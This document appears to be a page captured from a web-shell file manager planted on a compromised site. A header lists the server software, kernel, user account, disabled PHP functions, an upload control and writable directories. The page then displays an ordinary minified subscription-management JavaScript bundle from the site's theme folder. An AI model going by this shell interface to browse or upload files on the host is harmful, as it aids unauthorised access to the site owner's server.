https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/angkasapuraretail.com/public_html/themes/old-themes/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/angkasapuraretail.com/public_html/themes/old-themes/js/Subscriptions.bundle.js
(window.onlineWebpackJsonp=window.onlineWebpackJsonp||[]).push([["subscriptions"],{502:function(module,exports,__webpack_require__){module.exports=__webpack_require__("SWX/")},"SWX/":function(module,__webpack_exports__,__webpack_require__){"use strict";__webpack_require__.r(__webpack_exports__);__webpack_require__("XCae");!function($){if("object"==typeof ori){var self=null,changedGrids=[],subscribeWindow=null,$window=$(window),SUBSCRIPTION_DETAIL_HOLDER="data-ux-subscriptions-detail-holder",CUSTOMER_ID="data-ux-consumer-id",SHOW_CANCELED_CLASS=".js-subscription-checkbox-show-canceled";ori.addModule("subscriptions",{init:function(options){void 0!==ori.device?(self.setOptions(options),setTimeout((function(){collapseSubscriptionSections()}),0),function registerEventHandlers(){var clickEvent=self.eventString("click");$(document).on(clickEvent,"[data-collapsable-trigger]",(function(e){e.preventDefault(),function toggleCollapsableSection($trigger){var id=$trigger.data("collapsable-trigger"),$targetSection=self.options.$context.find("[data-collapsable-content="+id+"]");if($targetSection.hasClass("hidden")){var $grids=getSubscriptionGrids($targetSection);showCollapsableSection($targetSection,$trigger),ori.subscriptionGrid.reset($grids)}else hideCollapsableSection($targetSection,$trigger)}($(this))})),$("#checkbox-show-my-canceled").on(clickEvent,(function(){self.options.showMyCanceledSubscriptionsHandler(this)})),$("#checkbox-show-customers-canceled").on(clickEvent,(function(){self.options.showCustomersCanceledSubscriptionsHandler(this)}))}()):self.error("ori.device module not loaded, unable to init module")},onFilterChange:function(){filterCustomersSubscriptions(this.value())},onAddProduct:function(){var $btn=$(this);ori.spinner.applyTo($btn,{cssClass:"k-loading",halign:"right"}),showSubscribeWindow($btn.data("ux-consumer-id"),!1,$btn)},onAddNewCustomer:function(){var $btn=this.element;ori.spinner.applyTo($btn,{cssClass:"k-loading",halign:"right"}),showSubscribeWindow(0,!0,$btn)},onSubscribeWindowRefresh:function(){centerSubscribeWindow()},onSubscribeWindowActivate:function(){centerSubscribeWindow()},closeSubscribeWindow:function(){getSubscribeWindow().close(),function unbindWindowHandlers(){ori.device.unbind(self.ns);var $root=$("#SubscribeWindow").find(".js-subscription-type-root"),clickEvent=self.eventString("click");$root.find("li").off(clickEvent)}()},showSubscription:function(code){$.get(self.options.url.openProductSubscriptionUrl,{code:code}).done((function(result){createSubscriptionDialog(code,result,self.options.url.subscribeProductItemUrl)})).fail((function(){ori.displayError(self.options.tr.ajaxError.title,self.options.tr.ajaxError.message)}))},replaceSubscriptionItem:function($select){var $subscriptionElement=$('[data-subscription-step-anchor="'+$select.data("ux-caller-id")+'"]'),selectCustomerId=$select.data("ux-caller-id"),showCanceledSubscriptions=showMyCanceled($(SHOW_CANCELED_CLASS+" [data-ux-consumer-id]").attr(CUSTOMER_ID)===selectCustomerId),data={customerId:self.options.customerId,droppingId:$select.data("ux-dropping-id"),subscriptionId:$select.data("ux-subscription-id"),newItemCode:$select.val(),selectedPeriodId:getSelectedPeriodId($subscriptionElement),showCanceled:showCanceledSubscriptions},$subscriptionGroup=$subscriptionElement.closest("[data-ux-subscriptions-detail-holder]");$.post(self.options.url.replaceProduct,data,(function(result){changedGrids.push([$subscriptionGroup,result])}))},redrawSubscriptionGrids:function(){var used=[];changedGrids.reverse().forEach((function(data){var $subscriptionGroup=data[0],consumerId=$subscriptionGroup.attr("data-ux-subscriptions-detail-holder");-1==used.indexOf(consumerId)&&(replaceGrids($subscriptionGroup,data[1]),openCollapsableSection($subscriptionGroup),used.push(consumerId))})),reloadTotals(),changedGrids=[]},subscribePackage:function(){var $package=this.element.closest(".js-subscription-package"),$form=$package.closest("form");$package.find('[name$="Quantity"]').val(1),$form.data("kendoValidator").validate()&&function subscribeProduct($form){var data=$form.serialize(),consumerId=$("#consumerIdHolder").val(),showCanceledSubscriptions=showMyCanceled($(SHOW_CANCELED_CLASS+" [data-ux-consumer-id]").attr(CUSTOMER_ID)===consumerId),isConsumerCreation=$("#isConsumerCreationHolder").val(),$typeContainers=$form.find(".js-subscription-type-container"),activeContainerIndex=$typeContainers.index($typeContainers.filter(":visible")),url=self.options.url.subscribe+"?customerId="+self.options.customerId+"&showCanceled="+showCanceledSubscriptions,$window=$form.closest(".subscribe-window-wrapper");ori.spinner.applyOverlayTo($window),$.post(url,data,(function(result){if(result.Success)if("False"===isConsumerCreation){var $customerSubscriptions=$("["+SUBSCRIPTION_DETAIL_HOLDER+"="+consumerId+"]");reloadTotals(),replaceGrids($customerSubscriptions,result.View),openCollapsableSection($customerSubscriptions),self.closeSubscribeWindow()}else result.Success&&(reloadTotals(),filterCustomersSubscriptions($("#FilterCustomerSubscriptions").val()),self.closeSubscribeWindow(),collapseCustomerSubscriptionSections());else getSubscribeWindow().content(result.View),restoreDialogWindow(activeContainerIndex)})).fail((function(){restoreDialogWindow(activeContainerIndex)})).always((function(){ori.spinner.removeOverlayFrom($window)}))}($form)},onCancelSubscription:function(){var $btn=$(this);ori.displayConfirm(self.options.confirm.title,self.options.confirm.message,{onYesCallback:function(){!function cancelSubscription($sender){var senderCustomerId=$sender.closest("[data-ux-subscriptions-detail-holder]").attr(SUBSCRIPTION_DETAIL_HOLDER),showCanceledSubscriptions=showMyCanceled($(SHOW_CANCELED_CLASS+" [data-ux-consumer-id]").attr(CUSTOMER_ID)===senderCustomerId),data={customerId:self.options.customerId,subscriptionId:$sender.data(ori.subscriptionGrid.sel.CANCEL_SUBSCRIPTION),selectedPeriodId:getSelectedPeriodId($sender),showCanceled:showCanceledSubscriptions},$customerSubscriptions=$sender.closest("[data-ux-subscriptions-detail-holder]");ori.spinner.applyOverlayTo($customerSubscriptions),$.post(self.options.url.cancelSubscription,data,(function(result){reloadTotals(),replaceGrids($customerSubscriptions,result),openCollapsableSection($customerSubscriptions)}))}($btn)}})},onShowMyCanceledSubscriptions:function(button){void 0!==button&&function showMyCanceledSubscriptions(button){var customerId=$(button).attr(CUSTOMER_ID),data={customerId:customerId,showCanceled:showCanceled(button)},$mySubscriptions=self.options.$context.find("["+SUBSCRIPTION_DETAIL_HOLDER+'="'+customerId+'"]'),isMySubscriptionsOpened=0==$mySubscriptions.find('[data-collapsable-content="'+customerId+'"]').hasClass("hidden");ori.spinner.applyOverlayTo($mySubscriptions),$.post(self.options.url.showCanceledSubscriptions,data,(function(result){reloadTotals(),replaceGrids($mySubscriptions,result),isMySubscriptionsOpened?openCollapsableSection($mySubscriptions):collapseSubscriptionSections($mySubscriptions)}))}(button)},onShowCustomersCanceledSubscriptions:function(){filterCustomersSubscriptions($("#FilterCustomerSubscriptions").val())}}),ori.subscriptions.setOption("showMyCanceledSubscriptionsHandler",ori.subscriptions.onShowMyCanceledSubscriptions),ori.subscriptions.setOption("showCustomersCanceledSubscriptionsHandler",ori.subscriptions.onShowCustomersCanceledSubscriptions),self=ori.subscriptions}function getSubscriptionGrids($context){return $context.find(ori.subscriptionGrid.sel.GRID_SELECTOR)}function replaceGrids($context,htmlContent){var $grids=getSubscriptionGrids($context);ori.subscriptionGrid.destroy($grids),$context.html(htmlContent),$grids=getSubscriptionGrids($context),ori.subscriptionGrid.reset($grids)}function reloadTotals(){var params=$.param({customerId:self.options.customerId,showMyCanceled:showCanceled("#checkbox-show-my-canceled"),showCustomersCanceled:showCanceled("#checkbox-show-customers-canceled")}),url=self.options.url.getTotals+"?"+params;$.get(url,(function(result){var $context=self.options.$context;$context.find(".js-summary-total-bp").text(result.TotalBp),$context.find(".js-summary-total-price").text(result.TotalPrice),$context.find(".js-number-of-customers").text(result.NumberOfCustomers)}))}function restoreDialogWindow(activeContainerIndex){var dialogWindow=getSubscribeWindow(),$wrapper=dialogWindow.wrapper,rootTitle=$wrapper.find(".js-subscription-type-root").data("type-label");if(dialogWindow.title(rootTitle),$wrapper.find('[name$="Quantity"]').each((function(){$(this).val(0)})),activeContainerIndex>=0){var $container=$wrapper.find(".js-subscription-type-container:eq("+activeContainerIndex+")"),typeId=$container.data("type-id");navigateToSubscriptionType($container,typeId)}ori.spinner.removeOverlayFrom($wrapper),centerSubscribeWindow(),function bindWindowHandlers(){ori.device.bindResize(centerSubscribeWindow,self.ns).bindMedia(centerSubscribeWindow,self.ns);var $dialog=$("#SubscribeWindow"),$root=$dialog.find(".js-subscription-type-root"),$typeContainers=$dialog.find(".js-subscription-type-container"),clickEvent=self.eventString("click");$root.find("li").on(clickEvent,(function(){var typeId=$(this).data("type-id");navigateToSubscriptionType($typeContainers.filter('[data-type-id="'+typeId+'"]'),typeId)}))}()}function showSubscribeWindow(consumerId,withCustomerCreation,$triggerBtn){var url=self.options.url.showSubscriptions+"?consumerId="+consumerId+"&withConsumerCreation="+withCustomerCreation;$.get(url,(function(result){!function openSubscribeWindow(content){var scrollTop=$window.scrollTop(),dialogWindow=getSubscribeWindow();dialogWindow.content(content),dialogWindow.open(),$window.scrollTop(scrollTop),restoreDialogWindow(-1)}(result),ori.spinner.removeFrom($triggerBtn,"k-loading")})).fail((function(){ori.spinner.removeFrom($triggerBtn,"k-loading")}))}function getSubscribeWindow(){return subscribeWindow=subscribeWindow||$("#SubscribeWindow").data("kendoWindow")}function centerSubscribeWindow(){getSubscribeWindow().center()}function navigateToSubscriptionType($container,typeId){var window=getSubscribeWindow(),$root=window.wrapper.find(".js-subscription-type-root"),subscriptionTypeTitle=$container.data("type-label");$root.addClass("hidden"),$container.removeClass("hidden"),window.title(subscriptionTypeTitle),ori.sliderFactory.create("#subscription-promo-slider-"+typeId)}function filterCustomersSubscriptions(filterKey){var data={filter:filterKey,showMyCanceled:showCanceled("#checkbox-show-my-canceled"),showCustomersCanceled:showCanceled("#checkbox-show-customers-canceled"),customerId:self.options.customerId},$customerSubscriptions=self.options.$context.find(".js-customers-subscriptions-holder");ori.spinner.applyOverlayTo($customerSubscriptions),$.get(self.options.url.filterSubscriptions,data,(function(result){reloadTotals(),replaceGrids($customerSubscriptions,result),collapseCustomerSubscriptionSections()}))}function showCanceled(buttonId){return $(buttonId).is(":checked")}function showMyCanceled(shouldShowMy){return showCanceled(shouldShowMy?"#checkbox-show-my-canceled":"#checkbox-show-customers-canceled")}function getSelectedPeriodId($subscriptionElement){return $subscriptionElement.closest("[data-ux-subscriptions-detail-holder]").find("["+ori.subscriptionGrid.sel.SELECTED_PERIOD+"]").data("period-id")}function showCollapsableSection($section,$trigger){$section.removeClass("hidden"),$trigger.find(".icon-arrow").addClass("v-icon-arrow-down").removeClass("v-icon-arrow-right")}function hideCollapsableSection($section,$trigger){$section.addClass("hidden"),$trigger.find(".icon-arrow").removeClass("v-icon-arrow-down").addClass("v-icon-arrow-right")}function openCollapsableSection($section){var $trigger=$section.find("[data-collapsable-trigger]");if($trigger.length>0){var contentId=$trigger.data("collapsable-content");showCollapsableSection($section.find('[data-collapsable-content="'+contentId+'"]'),$trigger)}}function collapseSubscriptionSections($context){var $sections=(void 0===$context?self.options.$context:$context).find("[data-collapsable-content]"),$triggers=$sections.siblings(".header").find("[data-collapsable-trigger]");hideCollapsableSection($sections,$triggers)}function collapseCustomerSubscriptionSections(){collapseSubscriptionSections(self.options.$context.find(".js-customers-subscriptions-holder"))}}(jQuery)},XCae:function(module,__webpack_exports__,__webpack_require__){}},[[502,"manifest"]]]);
//# sourceMappingURL=subscriptions.bundle.js.75bcdcfacca82ffb5ed5b8189efcdec9.map

https://t.me/RX1948 - 2025